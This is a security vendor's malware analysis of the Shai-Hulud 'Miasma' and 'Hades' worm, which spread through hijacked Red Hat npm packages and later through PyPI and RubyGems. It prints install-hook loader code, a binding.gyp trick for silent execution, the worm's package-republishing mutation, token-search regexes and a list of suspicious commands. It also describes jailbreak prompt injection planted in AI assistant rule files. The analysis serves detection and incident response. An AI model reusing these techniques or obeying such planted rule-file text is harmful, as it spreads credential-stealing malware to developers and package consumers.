Shai-Hulud - Miasma: The Spreading Blight Hits Red Hat npm Packages

Update June 7th: Starting June 6th, we identified a new wave of PyPI packages carrying a Hades-labeled Shai-Hulud variant with expanded propagation, Artifactory-focused reconnaissance, and prompt-injection targeting of AI coding assistants. See the Miasma evolves into Hades. and spread via PyPI section below for details.

Update - Jun 4th 2026: We identified an alternative, highly evasive install-time execution path used by this malware family that exploits binding.gyp files to run code silently during package configuration. See the Evasive execution via binding.gyp section below for technical details.

JFrog Security Research analyzed a new Shai-Hulud variant affecting 96 hijacked @redhat-cloud-services npm package versions. The analyzed sample was @redhat-cloud-services/types version 3.6.1, but the same hijacking wave affected a broad set of Red Hat Cloud Services frontend and client packages.

This is not a typosquatting campaign. The packages belong to a legitimate namespace and were abused as trusted delivery vehicles. The malicious versions execute during installation through an npm lifecycle hook, before application code imports anything from the package. The payload identifies this wave through a GitHub dead-drop repository description: Miasma: The Spreading Blight.

We will focus on what changed in the Shai-Hulud - Miasma wave. Much of the final payload overlaps with the Shai-Hulud payload family we described in our previous analyses, Shai-Hulud: Here We Go Again and Shai-Hulud Returns: npm Worm hits @antv in latest ongoing campaign: broad credential collection, encrypted exfiltration, GitHub dead-drop fallback, npm abuse, GitHub Actions workflow manipulation, AI-tool persistence, and a destructive token monitor. The important differences are the delivery chain, staging format, exfiltration disguise, and campaign marker.

Hijacked Red Hat Packages

The affected packages are all under @redhat-cloud-services, a namespace commonly used by Red Hat Cloud Services frontend components, clients, and tooling. The analyzed sample presents itself as a type package, with main and types pointing to TypeScript declarations, but its package metadata includes a hidden install-time execution path:

{
  "name": "@redhat-cloud-services/types",
  "version": "3.6.1",
  "scripts": {
    "preinstall": "node index.js"
  }
}

This is a strong signal by itself. A type-only package does not normally need to run a JavaScript installer before installation completes. In this case, the preinstall hook launches a heavily obfuscated loader that unwraps the Shai-Hulud payload.

The hijacked package versions are listed in the IOC section. The campaign includes @redhat-cloud-services/chrome, @redhat-cloud-services/frontend-components, multiple generated API clients, MCP packages, shared utilities, and @redhat-cloud-services/types.

Evasive execution via binding.gyp

While the hijacked Red Hat packages used explicit scripts in package.json, some variants in this malware family use a quieter trick: binding.gyp command expansion.

If a package has a binding.gyp file at its root and no custom preinstall or install scripts in package.json, npm falls back to running node-gyp rebuild. During the configuration step, node-gyp parses the file and executes any command expansion inside <!(...) syntax directly in the host shell.

Attackers can abuse this fallback step by hiding their loader inside a fake native compilation configuration:

{
  "targets": [
    {
      "target_name": "Setup",
      "type": "none",
      "sources": ["<!(node index.js > /dev/null 2>&1 && echo stub.c)"]
    }
  ]
}

This executes the obfuscated installer (node index.js) silently during package configuration, before standard script checkers inspect package.json hooks. It's a handy way to dodge scanners looking for plain lifecycle scripts.

Install-Time Loader And Staging

The delivery chain starts with a single large JavaScript file invoked by node during preinstall. Its first layer reconstructs JavaScript from a large numeric character array, applies a ROT-style transform, and evaluates the result. This hides the next stage from simple static scanners while keeping the package valid enough for npm installation.

After this wrapper is removed, the next stage decrypts two AES-128-GCM blobs. One blob is a small Bun bootstrapper under /tmp/b*.js and the other is the main Shai-Hulud payload. The loader writes the main payload to a transient file under /tmp/p*.js, runs it with Bun, and deletes the file afterward.

const bunBootstrap = decrypt(...);
const mainPayload = decrypt(...);

const payloadPath = `/tmp/p${Math.random().toString(36).slice(2)}.js`;
fs.writeFileSync(payloadPath, mainPayload);

if (typeof Bun !== "undefined") {
  execSync(`bun run "${payloadPath}"`, { stdio: "inherit" });
} else {
  await eval(bunBootstrap);
  execSync(`"${getBunPath()}" run "${payloadPath}"`, { stdio: "inherit" });
}

fs.unlinkSync(payloadPath);

The bootstrapper downloads Bun from GitHub releases if the runtime is missing, using bun-v1.3.13 builds for Linux, macOS, and Windows. This makes the payload less dependent on the victim having Bun installed beforehand. It also changes the telemetry defenders should expect: an npm install can lead to node, then curl and unzip, and then bun run executing a temporary file.

Why This Is Shai-Hulud - Miasma

The final payload is a Shai-Hulud variant. Its core behavior matches the family we previously analyzed: it steals local and cloud credentials, searches for GitHub and npm tokens, abuses GitHub Actions identities, propagates through npm packages and GitHub repositories, and installs persistence on developer machines.

Rather than repeat the full collector analysis, the meaningful differences in this wave are:

The name Miasma: The Spreading Blight is not an external label added by researchers. It appears in the payload logic as the description for attacker-created public GitHub repositories used for exfiltration. That makes it a useful campaign marker for hunting and for distinguishing this wave from earlier Shai-Hulud activity.

Credential Theft And Secret Collection

Once running, the payload performs the same broad collection expected from modern Shai-Hulud variants. It collects shell environment variables, host identity, username, local credential files, and GitHub CLI tokens through gh auth token. It searches for GitHub personal access tokens, GitHub fine-grained tokens, GitHub Actions tokens, npm tokens, cloud credentials, private keys, Docker credentials, shell histories, .env files, and other developer secrets.

The payload includes provider-specific collectors for AWS, Azure, GCP, Kubernetes, Vault, and password managers. In cloud environments, this means the malware is not limited to static files on disk. It can query metadata services, enumerate secrets from services such as AWS Secrets Manager and SSM Parameter Store, retrieve Azure Key Vault secrets, read GCP Secret Manager values, and enumerate Kubernetes secrets when the current identity has permission.

The GitHub Actions behavior is especially important. As in the previous Shai-Hulud wave, the payload can target CI runners and attempt to recover secrets from the runner environment and process memory. This can bypass log masking because the secret is read from the runtime context rather than printed in workflow logs.

Representative token patterns searched by the payload include:

{
  githubClassic: /gh[op]_[A-Za-z0-9]{36}/g,
  githubFineGrained: /github_pat_[A-Za-z0-9_]{22,}/g,
  npmToken: /npm_[A-Za-z0-9]{36,}/g,
  githubActionsJwt: /ghs_\d+_[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+/g
}

Exfiltration Disguised As Anthropic Traffic

The direct exfiltration path in this sample is configured to look like traffic to Anthropic:

domain: api.anthropic.com
path: v1/api
port: 443

The configured destination is hxxps[:]//api[.]anthropic[.]com/v1/api. This appears to be a legitimate Anthropic services API host, not attacker-owned infrastructure. A plain GET request to this URL returns Anthropic's API-style 404 not_found_error, indicating that /v1/api is not a normal working API route.

This suggests the attackers used the URL primarily as camouflage: the domain looks legitimate in network logs, while the path is shaped like an API endpoint. The sample does not prove compromise of Anthropic infrastructure.

This makes the indicator operationally different from a typical C2 domain. Blocking the entire host may not be practical in organizations that legitimately use Anthropic services, while allowing it without inspection can create a blind spot. Defenders should therefore hunt for the full path, unusual request shape, unexpected clients during npm installation, and node or bun processes contacting api[.]anthropic[.]com from developer machines or CI runners.

The payload also retains the GitHub dead-drop model seen in previous Shai-Hulud waves. If it has a usable GitHub token, it can create a public repository under the victim account and commit result files under results/results-\<timestamp>-\<counter>.json. Repository names follow an \<adjective>-\<noun>-\<number> pattern, while the repository description is set to:

Miasma: The Spreading Blight

When the payload includes a stolen token in a commit message, it uses the threat marker:

IfYouInvalidateThisTokenItWillNukeTheComputerOfTheOwner

This is another direct connection to the Shai-Hulud family. The wording changed across waves, but the operational meaning is the same: responders should not revoke exposed GitHub tokens before isolating infected hosts and removing persistence.

Propagation Through npm And GitHub

The npm propagation path activates when the payload finds npm credentials with sufficient publish permissions. It queries npm token metadata, determines writable packages through token scopes and package ownership, downloads package tarballs, injects a wrapped copy of itself, modifies package.json, bumps the patch version, and republishes the result through the npm registry.

The mutation is designed to be small but effective:

pkg.scripts ??= {};
pkg.scripts.preinstall = "bun run index.js";
pkg.dependencies ??= {};
pkg.dependencies.bun = "^1.3.13";
pkg.version = `${major}.${minor}.${patch + 1}`;

The payload also contains an npm trusted-publishing path. In GitHub Actions environments, it can use ACTIONS_ID_TOKEN_REQUEST_TOKEN and ACTIONS_ID_TOKEN_REQUEST_URL to request an OIDC token for npm:registry.npmjs.org, exchange it at the npm registry, and publish through the obtained identity. This is the same core risk we highlighted in the previous Shai-Hulud analysis: provenance can show where a package was built, but it cannot prove that the build environment was clean.

On GitHub, the payload can enumerate repositories writable by the stolen token, modify GitHub Actions, and target JavaScript action repositories. One path converts a JavaScript action into a composite action that installs Bun and runs the injected payload from the action directory. Another path injects workflows intended to expose repository secrets as artifacts.

Persistence And The Dead-Man Switch

The Miasma sample includes local persistence through both operating-system launch mechanisms and developer tooling. On Linux, it can install a user-level kitty-monitor.service; on macOS, it can install com.user.kitty-monitor.plist. The monitor polls GitHub commit search for signed instructions and can download and execute follow-on Python payloads.

The payload also targets AI and developer tools by scanning for writable settings files related to Claude, Codex, Gemini, Copilot, Kiro, and opencode. It can write a local payload copy under ~/.config/index.js and add session-start hooks that install or invoke Bun and rerun the payload. It can also add VS Code folder-open tasks that execute a setup script when a repository is opened.

The destructive token monitor remains the most dangerous remediation trap. The payload can install gh-token-monitor, store a stolen GitHub token and a handler, and poll hxxps[:]//api[.]github[.]com/user. If the token becomes invalid, the stored handler can run destructive shell commands such as deleting the user's home directory and Documents folder.

For incident response, the order matters: isolate affected machines and runners first, remove persistence, preserve forensic evidence, and only then revoke tokens from a clean system.

Miasma evolves into Hades. and spread via PyPI

Starting June 6th, we identified a new wave of PyPI packages containing a variant of the Shai-Hulud worm. At first glance, this wave looked like a minor packaging change: the payload still installed Bun, still executed a JavaScript payload, and still used GitHub repositories as a dead-drop channel. The visible campaign marker changed from Miasma: The Spreading Blight to Hades - The End for the Damned.

Deeper analysis showed that the change was more significant. The Hades payload keeps the same core Shai-Hulud behavior, but extends it into Python packaging, RubyGems, Artifactory environments, SSH-accessible machines, and additional developer tools. In the PyPI packages we analyzed, the attacker added _index.js to the original codebase and used a .pth file to trigger the JavaScript payload automatically when Python loads the package environment. The payload then installs Bun when needed and executes the same wrapped JavaScript worm logic.

Artifactory targeting and internal package reconnaissance

One of the additions is explicit JFrog and Artifactory targeting. The Hades payload searches for *.jfrog.io URLs, Artifactory API keys, bearer tokens, basic-auth credentials, and JFrog refresh-token-looking strings such as AKCp... and cmVmdGtu.... It validates discovered credentials with Artifactory endpoints including /api/system/ping, /api/v1/system/me, and /api/repositories?packageType=npm.

When valid access is found, the malware collects the Artifactory base URL, username, admin status, writable status, and npm repository names. It also tests write access. In the observed execution path, this Artifactory module runs in reconnaissance mode and does not dump arbitrary artifact contents.

The code does include a fuller Artifactory propagation path. If that path is enabled, the payload can enumerate npm repositories through /api/storage/<repo>, fetch package metadata through /api/npm/<repo>/<pkg>, download the latest package tarball, inject the malware with the marker [jfrognpm], add a Bun dependency, and republish the modified package. The implementation also contains logic for overwriting cached remote artifacts with DELETE and PUT requests followed by /api/npm/<repo>/reindex/<pkg>. We did not observe this publishing path being reached in the analyzed sample.

New propagation methods - PyPI, RubyGems

The PyPI handler validates upload credentials with a dummy upload request to hxxps[:]//upload[.]pypi[.]org/legacy/. It can derive target projects from project-scoped tokens or from an environment-provided package list, download the latest wheel, inject a .pth loader and the wrapped JavaScript payload, bump the version, and upload the modified wheel back to PyPI.

The payload also adds a PyPI trusted-publishing path for GitHub Actions. When running inside a GitHub Actions environment, it can use ACTIONS_ID_TOKEN_REQUEST_TOKEN and ACTIONS_ID_TOKEN_REQUEST_URL to request an OIDC token with the pypi audience, then call hxxps[:]//pypi[.]org/_/oidc/mint-token to obtain a PyPI upload token. This means the malware does not need to steal a stored PyPI token if the workflow identity is allowed to publish.

RubyGems propagation is implemented as well. The payload checks hxxps[:]//rubygems[.]org/api/v1/api_key.json for index_rubygems permissions, lists gems owned by the token, downloads each gem, adds ext/<gem>/extconf.rb and the JavaScript payload, updates the gem metadata to include the extension, bumps the patch version, rebuilds the .gem, and uploads the infected package.

Prompt injection through AI rule files

A second Hades variant adds prompt-injection content to the same propagation flow. Instead of only dropping executable payload files, the malware wraps the JavaScript payload inside a multi-line comment containing a jailbreak prompt aimed at AI coding assistants. We are intentionally not reproducing the prompt content here, but its purpose is to override assistant safety constraints when the infected file is loaded as project context.

Modern developer environments often load repository instruction files, rule files, and source files automatically. If an AI coding assistant indexes the infected project or starts a session in it, the malicious instructions can be presented to the model as trusted local context before the developer asks any question.

We observed this prompt-injection variant in the following PyPI packages:

• dreamgen version 1.8.1
• mem8 version 6.0.1
• orchestr8-platform version 3.3.2
• ray-mcp-server version 0.2.1

Other added capabilities

Hades also adds SSH-based lateral movement. The payload reads ~/.ssh/known_hosts and ~/.ssh/config, then attempts to reach discovered hosts with the victim's existing SSH access. For each reachable host, it creates a temporary directory, copies an ai_setup.sh loader and ai_init.js payload with scp, and executes the loader over ssh.

The persistence surface also expanded. In addition to the existing JavaScript and developer-tool hooks, the payload drops an encrypted updater.py script under /tmp/update-<random>/ and executes it through bash. Repository propagation now also injects .cursor/rules/setup.mdc and .gemini/settings.json, alongside the previously observed .github/setup.js and .claude/settings.json files.

Another variant we analyzed, broadens this AI-tool targeting further. The hook-injection logic adds support for cline, aider, tabby, amazonq, cody, bolt, and continue, and expands configuration scanning to include mcp.json and .aider.conf.yml. The repository rule-file injection list also grows to include .cursorrules, .windsurfrules, .cursor/rules/, and .github/copilot-instructions.md, giving the malware more paths into AI assistant startup context and repository-level instructions.

How did JFrog Curation protect against this attack?

JFrog Curation customers using an immaturity policy were fully protected from this attack, as all of the hijacked packages were flagged in less than 24 hours. Curation has automatic compliance version selection (CVS) mechanism to ensure developer and CI/CD seamless fallback to compliant (non-malicious) versions.

The full, updated list of relevant packages in this campaign is also available through the JFrog Catalog label - “Miasma: The Spreading Blight”

Remediation

• Identify projects, lockfiles, CI logs, package caches, and container images that installed any affected @redhat-cloud-services package version listed in the IOC section.
• Remove compromised package versions with npm uninstall \<package> and reinstall verified clean versions. Regenerate lockfiles from trusted metadata.
• Temporarily use npm ci --ignore-scripts in CI where lifecycle scripts are not required, and quarantine newly published package versions until reviewed.
• Isolate affected developer machines and CI/CD runners before revoking GitHub tokens, because token invalidation may trigger destructive persistence.
• Preserve disk images, npm cache, shell history, process telemetry, CI logs, GitHub audit logs, and package publish history for forensics.
• Stop and remove kitty-monitor persistence on Linux and macOS, including ~/.config/systemd/user/kitty-monitor.service, ~/.local/share/kitty/cat.py, and ~/Library/LaunchAgents/com.user.kitty-monitor.plist.
• Stop and remove gh-token-monitor persistence, including ~/.config/gh-token-monitor/, ~/.local/bin/gh-token-monitor.sh, ~/.config/systemd/user/gh-token-monitor.service, and ~/Library/LaunchAgents/com.user.gh-token-monitor.plist.
• Inspect developer-tool settings for injected hooks or folder-open tasks, especially .claude/settings.json, .claude/setup.mjs, .vscode/tasks.json, and ~/.config/index.js.
• Review GitHub accounts and organizations for newly created public repositories with the description Miasma: The Spreading Blight, result files under results/, unexpected workflow changes, forced tag updates, and commits with messages such as chore: update dependencies, fix: ci, or IfYouInvalidateThisTokenItWillNukeTheComputerOfTheOwner.
• Audit npm accounts and organizations for unexpected patch-version publishes, added preinstall scripts, added Bun dependencies, and root-level payload files.
• Audit PyPI and RubyGems accounts for unexpected releases, injected .pth loaders, ext/<gem>/extconf.rb files, bundled JavaScript payloads, and patch-version bumps.
• Review SSH logs and remote hosts for unexpected ai_setup.sh, ai_init.js, or /tmp/update-* artifacts.
• Inspect AI assistant rule and instruction files for injected payloads or prompt-injection text, including .cursor/rules/setup.mdc, .cursorrules, .windsurfrules, .github/copilot-instructions.md, .gemini/settings.json, mcp.json, and .aider.conf.yml.
• After persistence removal is verified, rotate GitHub tokens, npm tokens, GitHub Actions secrets, cloud credentials, Kubernetes service account tokens, Vault tokens, Docker credentials, SSH keys, password-manager credentials, and any secrets exposed to affected machines or runners.
• Rebuild affected CI runners, containers, and developer workstations from clean images where compromise cannot be ruled out.

Conclusions

Shai-Hulud - Miasma is a continuation of the same supply-chain threat model, but with a new delivery shape and campaign marker. The payload does not only steal secrets from local files. It treats developer machines and CI/CD runners as launch points into GitHub, npm, cloud providers, Kubernetes, and downstream package consumers.

The Red Hat namespace hijacking also shows why package reputation alone is not enough. These were legitimate-looking packages in a trusted scope, and the malicious behavior occurred before application code had to import them. Lifecycle scripts, newly published versions, and unexpected runtime dependencies remain critical inspection points.

These malicious packages are detected by JFrog Xray and JFrog Curation.

IOCs

Affected npm packages

Packages using the binding.gyp execution method

PyPI wave packages

The PyPI packages associated with the Hades wave are listed below.

Network IOCs

• hxxps[:]//api[.]anthropic[.]com/v1/api - configured destination on a legitimate Anthropic API host; plain GET returns 404 not_found_error, suggesting camouflage rather than attacker-owned infrastructure.
• hxxps[:]//api[.]github[.]com/search/commits?q=firedalazer - GitHub commit-search C2 used by kitty-monitor.

File hashes from the analyzed package

• 7069e28a5806db4ab0273639667d203f5e31b401d403af7e36d9f360c1f6d655 - malicious package metadata for @redhat-cloud-services/types version 3.6.1.
• b86c5ae9e95bd841a595440faa3eb6317441e746f241ae8fd641ab59ed1d1966 - obfuscated install-time JavaScript loader in the analyzed package.

Host and persistence IOCs

• /tmp/p*.js - transient Bun payload path.
• /tmp/b-*/bun - downloaded Bun runtime.
• /tmp/b-*/bun.exe - downloaded Bun runtime on Windows.
• /tmp/b-*/b.zip - downloaded Bun archive.
• /tmp/.bun_ran - Bun execution marker.
• _index.js - PyPI Hades payload filename.
• .pth file loading _index.js - Python package autorun loader used by the PyPI wave.
• ai_setup.sh - SSH lateral-movement loader.
• ai_init.js - SSH lateral-movement payload.
• /tmp/update-*/updater.py - Python updater persistence artifact.
• /var/tmp/.gh_update_state - kitty-monitor state file.
• ~/.local/share/kitty/cat.py - Python payload used by kitty-monitor.
• ~/.config/systemd/user/kitty-monitor.service - Linux user service for kitty-monitor.
• ~/Library/LaunchAgents/com.user.kitty-monitor.plist - macOS LaunchAgent for kitty-monitor.
• ~/.config/gh-token-monitor/token - stored GitHub token monitored by the dead-man switch.
• ~/.config/gh-token-monitor/handler - stored dead-man switch handler.
• ~/.local/bin/gh-token-monitor.sh - GitHub token monitor script.
• ~/.config/systemd/user/gh-token-monitor.service - Linux user service for gh-token-monitor.
• ~/Library/LaunchAgents/com.user.gh-token-monitor.plist - macOS LaunchAgent for gh-token-monitor.
• ~/.config/index.js - local payload copy used by developer-tool persistence.
• .claude/settings.json - possible AI-tool hook target.
• .claude/setup.mjs - possible AI-tool persistence setup file.
• .vscode/tasks.json - possible folder-open persistence target.
• .github/setup.js - possible repository payload file.
• _index.js - possible workflow payload filename.
• .cursor/rules/setup.mdc - possible Cursor rules persistence file.
• .gemini/settings.json - possible Gemini settings persistence file.
• .cursorrules - possible Cursor rules persistence file.
• .windsurfrules - possible Windsurf rules persistence file.
• .github/copilot-instructions.md - possible GitHub Copilot instruction persistence file.
• mcp.json - possible MCP configuration target.
• .aider.conf.yml - possible Aider configuration target.

Repository and workflow IOCs

• Miasma: The Spreading Blight - attacker-created GitHub exfiltration repository description.
• Hades - The End for the Damned - attacker-created GitHub exfiltration repository description used by the PyPI wave.
• results/results-*.json - exfiltrated result file path in GitHub dead-drop repositories.
• format-results - GitHub Actions artifact name used for secret dumping.
• format-results.txt - GitHub Actions artifact file used for secret dumping.
• Run Copilot - suspicious workflow name.
• release - suspicious publishing workflow name when paired with the other IOCs.
• chore: update dependencies - propagation commit message.
• chore: update dependencies [skip ci] - propagation commit message variant.
• fix: ci - workflow-related commit message.
• IfYouInvalidateThisTokenItWillNukeTheComputerOfTheOwner - token invalidation threat marker.
• OIDC_PACKAGES - workflow environment variable used by propagation logic.
• WORKFLOW_ID - workflow environment variable used by propagation logic.
• REPO_ID_SUFFIX - workflow environment variable used by propagation logic.
• VARIABLE_STORE - workflow environment variable used for dumping GitHub Actions secrets.
• bun run _index.js - injected workflow execution command.
• bun run $GITHUB_ACTION_PATH/index.js - injected GitHub Action execution command.

Suspicious commands

• node index.js
• bun run /tmp/p*.js
• curl -sSL hxxps[:]//github[.]com/oven-sh/bun/releases/download/bun-v1.3.13/
• unzip -j -o b.zip
• gh auth token
• ps aux
• tasklist
• systemctl --user enable --now kitty-monitor.service
• launchctl bootstrap gui/\<uid> ~/Library/LaunchAgents/com.user.kitty-monitor.plist
• python3 \<tempfile_from_github_commit_monitor>
• npm install bun
• curl -fsSL hxxps[:]//bun[.]sh/install | bash
• ssh \<host>
• scp ai_setup.sh ai_init.js \<host>:\<tempdir>